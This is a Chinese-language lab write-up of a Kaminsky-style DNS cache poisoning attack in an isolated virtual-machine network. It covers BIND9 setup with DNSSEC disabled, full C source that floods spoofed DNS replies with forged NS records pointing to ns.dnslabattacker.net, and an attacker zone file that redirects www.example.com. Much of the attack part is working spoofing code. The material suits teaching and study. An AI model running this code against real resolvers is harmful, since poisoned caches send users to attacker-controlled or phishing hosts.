服务器ip:192.168.86.139
Victim ip: 192.168.86.137
Attacker ip:192.168.86.138
安装bind9服务器:
在bind9官网 下载bind9,在此下载的是bind9.10.4
解压文件tar -xzvf bin9.10.4.tar.gz
cd bin9.10.4,并./configure –prefix=/usr/local/bind-9.9.0 –enable-threads –disable-openssl-version-check –sysconfdir=/etc –with-libtool –without-openssl
由于没有安装openssl,所以在最后的选项中加入–without-openssl
make & make install
ln –sv /usr/local/bind-9.9.0 /usr/local/bind 软连接
在服务器中开启 sudo rndc flush // 刷新cache
sudo rndc dumpdb -cache // 将cache dump到dump.db
开启bind9服务:sudo service bind9 start
用户机器配置:
vi /etc/resolv.conf,修改nameserve 192.168.86.138(DNS服务器地址)
在ubuntu中,/etc/resolv.conf可能被DHCP客户端更改,所以需要将DHCP关闭,具体做法如下:settings->network->options->IPV4 Settings,设置method为Automatically DHCP addresses only, 并在DNS servers处填写为DNS服务器地址
查看用户机是否将dns服务器配置成功:打开wireshark,并在该机器中ping www.google.com,在wireshark的筛选规则中填写dns,查看抓包情况:
攻击准备:
确认攻击机器的连接方式是NAT
由于DNS的服务器端口可能不确定,在此将服DNS服务器的端口设置为33333,具体设置如下:vi /etc/bind/named.conf.options,添加query-source port 33333;
将DNS服务器的DNSSEC策略关闭,具体设置如下:vi /etc/bind/named.conf.options,找到dnssec-validation auto;,将其注释掉,并添加dnssec-enable no;
刷新dns cache,并从其dns服务:
sudo rndc flush
sudo service bind9 restart
(1)攻击者向被攻击的本地缓存DNS发送一个域名的DNS 查询请求,该查询请求中的域名主机使用随机序列和目标域名的组合。
例如www123456.test.com,其中ns2.test.com为目标域名,www123456是随机生成的。很显然,这个查询的域名主机记录在test.com的权威DNS中是不存在的。正常test.com的权威DNS要返回NXDOMIAN(代表域名不存在)。换句话说就是本地缓存DNS中肯定没有www123456.test.com的缓存记录,本地缓存DNS接收到这个域名查询请求后肯定是要出去迭代请求的。
(2)攻击者伪造test.com的权威DNS应答数据包中,应答资源记录部分与正确应答包中部分是与正常结果一样的,比如test.com的DNS的IP地址、UDP端口号、应答结果是NXDOMAIN。
但是,在应答报文中的授权资源记录部分,攻击者伪造一个test.com的NS记录为ns2.test.com,且该记录对应的A记录IP是2.2.2.2(可能是一个钓鱼网站的IP)。那么该资源记录信息将也被写入本地缓存DNS的Cache 中,在Cache 保持时间内,对test.com名字服务器所管辖的所有域名的查询都将被发送到攻击者自己控制的IP(2.2.2.2)中。
具体攻击过程:
在攻击者机器上ping www.example.com,用wireshark抓包有如下这个数据包,该数据包是从199.43.133.53的ip地址回复的example.com包的查询。所以需要伪造的ip地址为199.43.133.53。
在此主要介绍构造DNS域的包的过程。
DNS包的结果如上图所示:在此介绍构造每一个域的过程。
DNS头有16个字节,分别是标识ID,标志,问题数,资源数,授权资源记录数,额外资源记录数,结果如下所示:
struct dnsheader {
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};
其中标志ID为DNS报文的ID,对于相关联的请求报文和应答报文,这个字段是相同的,由此可以区分DNS应答报文是哪个请求报文的响应。由于不知道dns请求199.43.133.53时的ID号,所以在此将id号从3000到3100,每个id号都构造一个包。’
对于flags来说,根据wireshark抓包可知,大小为0x8400
随后的8个字节,由wireshark抓包可得,这四个域都为1。
随后就是将查询问题的内容给加进去,由于源程序给了构造查询问题的步骤,所以,现在直接将其构造的内容加进去即可。
Dns查询域名的结果的构造,如下图所示,该域主要是回答了www.example.com的ip地址和以及类型和类,该出类型为A,表示是由域名获得该域名的IP地址,类为IN,表示表示为Internet名字空间。所以在构造该域的时候可以将ip地址改了,我在该实验中将ip地址改为了1.2.3.4
该域主要有Name,Type,Class,TTL,Data length和NS构成,其中Type为NS表示为Name Server,即域名服务器,TTL为该记录的有效时间, Name表示主域名。所以我在此构造将Name Server改为了ns.dnslabattacker.net。
// ----udp.c------
// This sample program must be run by root lol!
//
// The program is to spoofing tons of different queries to the victim.
// Use wireshark to study the packets. However, it is not enough for
// the lab, please finish the response packet and complete the task.
//
// Compile command:
// gcc -lpcap udp.c -o udp
//
//
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// The packet length
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100
// Can create separate header file (.h) for all headers' structure
// The IP header's structure
struct ipheader {
unsigned char iph_ihl:4, iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
// unsigned char iph_flag;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};
// UDP header's structure
struct udpheader {
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
};
struct dnsheader {
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet, because such 4 byte data often appears.
struct dataEnd{
unsigned short int type;
unsigned short int class;
};
// total udp header length: 8 bytes (=64 bits)
// structure to hold the answer end section
struct ansEnd{
//char* name;
unsigned short int type;
//char* type;
unsigned short int class;
//char* class;
//unsigned int ttl;
unsigned short int ttl_l;
unsigned short int ttl_h;
unsigned short int datalen;
};
// structure to hold the authorative nameserver end section
struct nsEnd{
//char* name;
unsigned short int type;
unsigned short int class;
//unsigned int ttl;
unsigned short int ttl_l;
unsigned short int ttl_h;
unsigned short int datalen;
//unsigned int ns;
};
unsigned int checksum(uint16_t *usBuff, int isize)
{
unsigned int cksum=0;
for(;isize>1;isize-=2){
cksum+=*usBuff++;
}
if(isize==1){
cksum+=*(uint16_t *)usBuff;
}
return (cksum);
}
// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer, int len)
{
unsigned long sum=0;
struct ipheader *tempI=(struct ipheader *)(buffer);
struct udpheader *tempH=(struct udpheader *)(buffer+sizeof(struct ipheader));
struct dnsheader *tempD=(struct dnsheader *)(buffer+sizeof(struct ipheader)+sizeof(struct udpheader));
tempH->udph_chksum=0;
sum=checksum( (uint16_t *) &(tempI->iph_sourceip) ,8 );
sum+=checksum((uint16_t *) tempH,len);
sum+=ntohs(IPPROTO_UDP+len);
sum=(sum>>16)+(sum & 0x0000ffff);
sum+=(sum>>16);
return (uint16_t)(~sum);
}
// Function for checksum calculation. From the RFC,
// the checksum algorithm is:
// "The checksum field is the 16 bit one's complement of the one's
// complement sum of all 16 bit words in the header. For purposes of
// computing the checksum, the value of the checksum field is zero."
unsigned short csum(unsigned short *buf, int nwords)
{ //
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
//构造的回复包
int response(char* request_url, char* src_addr, char* dest_addr)
{
// socket号
int sd;
// 包的buffer
char buffer[PCKT_LEN];
// 将buffer初始化为0
memset(buffer, 0, PCKT_LEN);
// 初始化包头地址
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct udpheader));
// data内容的指针
char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));
//dns的flag位
///////////////////////////构造dns包////////////////////////////////////
dns->flags=htons(FLAG_R);
dns->QDCOUNT=htons(1);
dns->ANCOUNT=htons(1);
dns->NSCOUNT=htons(1);
dns->ARCOUNT = htons(1);
//查询的内容
strcpy(data,request_url);
int length= strlen(data)+1;
struct dataEnd * end=(struct dataEnd *)(data+length);
end->type=htons(1);
end->class=htons(1);
//回复的内容
char *ans=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length);
strcpy(ans,request_url);
int anslength= strlen(ans)+1;
struct ansEnd * ansend=(struct ansEnd *)(ans+anslength);
ansend->type = htons(1);
ansend->class=htons(1);
ansend->ttl_l=htons(0x00);
ansend->ttl_h=htons(0xFFFF); //tll,即有效的时间
ansend->datalen=htons(4); //回复的内容的长度
char *ansaddr=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength);
strcpy(ansaddr,"\1\2\3\4");
int addrlen = strlen(ansaddr);
//ns域名服务器
char *ns =(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen);
strcpy(ns,"\7example\3com");
int nslength= strlen(ns)+1;
struct nsEnd * nsend=(struct nsEnd *)(ns+nslength);
nsend->type=htons(2);
nsend->class=htons(1);
nsend->ttl_l=htons(0x00);
nsend->ttl_h=htons(0xFFFF); //tll,即有效的时间
//数据的长度,为nsname的长度+1
nsend->datalen=htons(23);
char *nsname=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength);
//伪造的域名服务器
strcpy(nsname,"\2ns\16dnslabattacker\3net");
int nsnamelen = strlen(nsname)+1;
//额外的信息
char *ar=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength+nsnamelen);
strcpy(ar,"\2ns\16dnslabattacker\3net");
int arlength = strlen(ar)+1;
struct ansEnd* arend = (struct ansEnd*)(ar + arlength);
arend->type = htons(1);
arend->class=htons(1);
arend->ttl_l=htons(0x00);
arend->ttl_h=htons(0xFFFF);
arend->datalen=htons(4);
char *araddr=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength+nsnamelen+arlength+sizeof(struct ansEnd));
strcpy(araddr,"\1\2\3\4");
int araddrlen = strlen(araddr);
/////////////////////dns包的构造到此完毕///////////////////////////////
//构造ip包
struct sockaddr_in sin, din;
int one = 1;
const int *val = &one;
sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sd<0 )
printf("socket error\n");
sin.sin_family = AF_INET;
din.sin_family = AF_INET;
//端口号
sin.sin_port = htons(33333);
din.sin_port = htons(53);
//IP地址
sin.sin_addr.s_addr = inet_addr(src_addr);
din.sin_addr.s_addr = inet_addr("199.43.133.53"); //example.com的域名服务器的地址,可通过抓包获得
ip->iph_ihl = 5;
ip->iph_ver = 4;
ip->iph_tos = 0;
unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)+anslength+sizeof( struct ansEnd)+nslength+sizeof(struct nsEnd)+addrlen+nsnamelen+arlength+sizeof(struct ansEnd)+araddrlen); // length + dataEnd_size == UDP_payload_size
ip->iph_len=htons(packetLength);
ip->iph_ident = htons(rand());
ip->iph_ttl = 110;
ip->iph_protocol = 17; // UDP
//该地值需要抓包确定
ip->iph_sourceip = inet_addr("199.43.133.53");
// The destination IP address
ip->iph_destip = inet_addr(src_addr);
// Fabricate the UDP header. Source port number, redundant
udp->udph_srcport = htons(53); // source port number, I make them random... remember the lower number may be reserved
// Destination port number
udp->udph_destport = htons(33333);
udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)+anslength+sizeof( struct ansEnd)+nslength+sizeof(struct nsEnd)+addrlen+nsnamelen+arlength+sizeof(struct ansEnd)+araddrlen); // udp_header_size + udp_payload_size
// Calculate the checksum for integrity//
ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));
udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));
// Inform the kernel do not fill up the packet structure. we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 )
{
printf("error\n");
exit(-1);
}
int count = 0;
int trans_id = 3000;
while(count < 100){
// This is to generate different query in xxxxx.example.edu
/* int charnumber;
charnumber=1+rand()%5;
*(data+charnumber)+=1;
*/
//dns->query_id=rand();
dns->query_id=trans_id+count;
udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));
// recalculate the checksum for the UDP packet
// send the packet out.
if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
printf("packet send error %d which means %s\n",errno,strerror(errno));
count++;
}
close(sd);
return 0;
}
int main(int argc, char *argv[])
{
// This is to check the argc number
if(argc != 3){
printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first to last:src_IP dest_IP \n");
exit(-1);
}
// socket descriptor
int sd;
// buffer to hold the packet
char buffer[PCKT_LEN];
// set the buffer to 0 for all bytes
memset(buffer, 0, PCKT_LEN);
// Our own headers' structures
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct udpheader));
// data is the pointer points to the first byte of the dns payload
char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));
////////////////////////////////////////////////////////////////////////
// dns fields(UDP payload field)
// relate to the lab, you can change them. begin:
////////////////////////////////////////////////////////////////////////
//The flag you need to set
dns->flags=htons(FLAG_Q);
//only 1 query, so the count should be one.
dns->QDCOUNT=htons(1);
//query string
strcpy(data,"\5abcde\7example\3com");
int length= strlen(data)+1;
//this is for convinience to get the struct type write the 4bytes in a more organized way.
struct dataEnd * end=(struct dataEnd *)(data+length);
end->type=htons(1);
end->class=htons(1);
/////////////////////////////////////////////////////////////////////
//
// DNS format, relate to the lab, you need to change them, end
//
//////////////////////////////////////////////////////////////////////
/*************************************************************************************
Construction of the packet is done.
now focus on how to do the settings and send the packet we have composed out
***************************************************************************************/
// Source and destination addresses: IP and port
struct sockaddr_in sin, din;
int one = 1;
const int *val = &one;
dns->query_id=rand(); // transaction ID for the query packet, use random #
// Create a raw socket with UDP protocol
sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sd<0 ) // if socket fails to be created
printf("socket error\n");
// The source is redundant, may be used later if needed
// The address family
sin.sin_family = AF_INET;
din.sin_family = AF_INET;
// Port numbers
sin.sin_port = htons(33333);
din.sin_port = htons(53);
// IP addresses
sin.sin_addr.s_addr = inet_addr(argv[2]); // this is the second argument we input into the program
din.sin_addr.s_addr = inet_addr(argv[1]); // this is the first argument we input into the program
// Fabricate the IP header or we can use the
// standard header structures but assign our own values.
ip->iph_ihl = 5;
ip->iph_ver = 4;
ip->iph_tos = 0; // Low delay
unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // length + dataEnd_size == UDP_payload_size
ip->iph_len=htons(packetLength);
ip->iph_ident = htons(rand()); // we give a random number for the identification#
ip->iph_ttl = 110; // hops
ip->iph_protocol = 17; // UDP
// Source IP address, can use spoofed address here!!!
ip->iph_sourceip = inet_addr(argv[1]);
// The destination IP address
ip->iph_destip = inet_addr(argv[2]);
// Fabricate the UDP header. Source port number, redundant
udp->udph_srcport = htons(33333); // source port number, I make them random... remember the lower number may be reserved
// Destination port number
udp->udph_destport = htons(53);
udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // udp_header_size + udp_payload_size
// Calculate the checksum for integrity//
ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));
udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));
/*******************************************************************************8
Tips
the checksum is quite important to pass the checking integrity. You need
to study the algorithem and what part should be taken into the calculation.
!!!!!If you change anything related to the calculation of the checksum, you need to re-
calculate it or the packet will be dropped.!!!!!
Here things became easier since I wrote the checksum function for you. You don't need
to spend your time writing the right checksum function.
Just for knowledge purpose,
remember the seconed parameter
for UDP checksum:
ipheader_size + udpheader_size + udpData_size
for IP checksum:
ipheader_size + udpheader_size
*********************************************************************************/
// Inform the kernel do not fill up the packet structure. we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 )
{
printf("error\n");
exit(-1);
}
while(1){
// This is to generate different query in xxxxx.example.edu
int charnumber;
charnumber=1+rand()%5;
*(data+charnumber)+=1;
udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); // recalculate the checksum for the UDP packet
// send the packet out.
if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
printf("packet send error %d which means %s\n",errno,strerror(errno));
sleep(0.9);
response(data, argv[2], argv[1]);
}
close(sd);
return 0;
}
在Attacker机器中构造查询信息,随机生成xxxx.example.com的域名,其中xxxx是随机生成的,该目的就是生成不存在的域名,然后while循环,向域名服务器发送查询xxxx.example.com域名的请求,紧接着发送伪造的回复的包。
sudo rndc dumpdb -cache之后查看/etc/bind/dump.db文件的结果如下:
使用假域名
* 配置攻击者机器为dns服务器,配置过程和上一个dns服务器过程一致。
具体配置如下:
首先在/etc/bind/name.conf.default-zones中配置zone信息:
zone “ns.dnslabattacker.net”
{ type master:
file “/etc/bind/db.attacker”;
};
表明具体的解析文件在/etc/bind/db.attacker中,该文件具体内容如下:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA localhost. root.localhost. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns.dnslabattacker.net.
@ IN A 192.168.86.138
@ IN AAAA ::1
其中192.168.86.138为攻击者机器的地址。
给db.attacker文件加权限chmod 644 db.attacker
zone “example.com” {
type master;
file “/etc/bind/example.com.db”;
};
然后再创建/etc/bind/example.com.db文件,内容如下
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.dnslabattacker.net.
@ IN MX 10 mail.example.com.
www IN A 1.2.3.4
mail IN A 1.2.3.2
*.example.com. IN A 1.2.3.100
给example.com.db文件加权限,chmod 644 example.com.db。
在victim中ping www.example.com,结果如下:
其访问的是1.2.3.4的ip地址。